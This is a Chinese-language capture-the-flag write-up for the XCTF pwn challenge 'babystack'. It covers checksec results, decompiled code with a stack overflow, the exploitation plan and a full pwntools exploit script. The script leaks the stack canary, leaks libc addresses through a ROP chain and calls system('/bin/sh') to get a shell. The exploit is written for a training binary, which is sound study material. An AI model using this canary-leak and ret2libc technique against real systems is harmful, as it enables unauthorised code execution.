1:checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge/pwn100$ checksec babystack
[*] '/home/hunter/PWN/XCTF/xctf_challenge/pwn100/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
差点保护全开,有点狠
2:IDA
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 128uLL);
while ( 1 )
{
sub_4008B9(); // 输出菜单
v3 = sub_400841(); // 读取选项
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 256uLL); // 存在溢出可能
break;
default:
sub_400826("invalid choice");
break;
}
sub_400826((const char *)&unk_400AE7);
}
}
用IDA观察后,整个程序没有system binsh,也没有后门加上出题者给出了libc文件,没得说的这是ret2libc类型。
3:执行情况
hunter@hunter:~/PWN/XCTF/xctf_challenge/pwn100$ ./babystack
--------
1.store
2.print
3.quit
--------
>> 1
AAAAAAAAAAAAAA
--------
1.store
2.print
3.quit
--------
>> 2
AAAAAAAAAAAAAA
--------
1.store
2.print
3.quit
--------
>>
4:思路
- 程序在读入时存在溢出,但有cookie的存在所以我们得先想办法泄露cookie。
- cookie泄露很简单只要store ‘A’(0x90-0x8) ,即sh.sendline( ‘A’(0x90-0x8))。后面的’\n’将覆盖cookie的末尾\x00,然后print选项即可。
- 得到cookie我们再次store来构造payload泄露真实地址,获取libc版本:payload1 = ‘B’(0x90-0x8) + p64(cookie) + ‘B’8 + p64(pop_rdi_ret) 最后面的地址时main函数,我们还需要进行一次攻击
- payload1 += p64(libc_start_main_got) + p64(puts_plt) + p64(0x00000400908)
- 用LicbSearcher获取libc版本,地址,从而得到system binsh地址
- 再次store放入system binsh payload
- 3quit 实现跳转
要注意这个程序得自己来实现最后的 return 0;也就是3选项
5:EXP
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('babystack')
libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000400a93
ret = 0x000000000040067e
sh = process('./babystack')
#sh = remote('220.249.52.133',37000)
sh.recv()
sh.sendline('1')
print "##############leaking cookie#################"
payload = 'A'*(0x90-0x8)
sh.sendline(payload)
print sh.recv()
sh.sendline('2')
print sh.recv(0x90-0x8)
cookie = u64(sh.recv(8))-0xa
print hex(cookie)
print sh.recv()
print "##############leaking real addr#################"
sh.sendline('1')
payload1 = 'B'*(0x90-0x8) + p64(cookie) + 'B'*8 + p64(pop_rdi_ret)
payload1 += p64(libc_start_main_got) + p64(puts_plt) + p64(0x00000400908)
#gdb.attach(sh)
sh.sendline(payload1)
print sh.recvuntil('>> ')
sh.sendline('3')
libc_start_main = u64(sh.recv(6)+'\x00'*2)
print hex(libc_start_main)
print type(libc_start_main)
libc = LibcSearcher('__libc_start_main',libc_start_main)
libc_addr = libc_start_main - libc.dump('__libc_start_main')
print "libc_addr==>"+str(hex(libc_addr))
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
print sh.recv()
print "##############fina attack#################"
sh.sendline('1')
payload2 = 'C'*(0x90-0x8) + p64(cookie) + 'C'*8
payload2 += p64(ret)
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload2)
sh.sendline('3')
sh.interactive()
结果:
>> $ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
我在本地测试是完全没问题的但,换成远程就不行了,我觉的是对面的服务器抽风了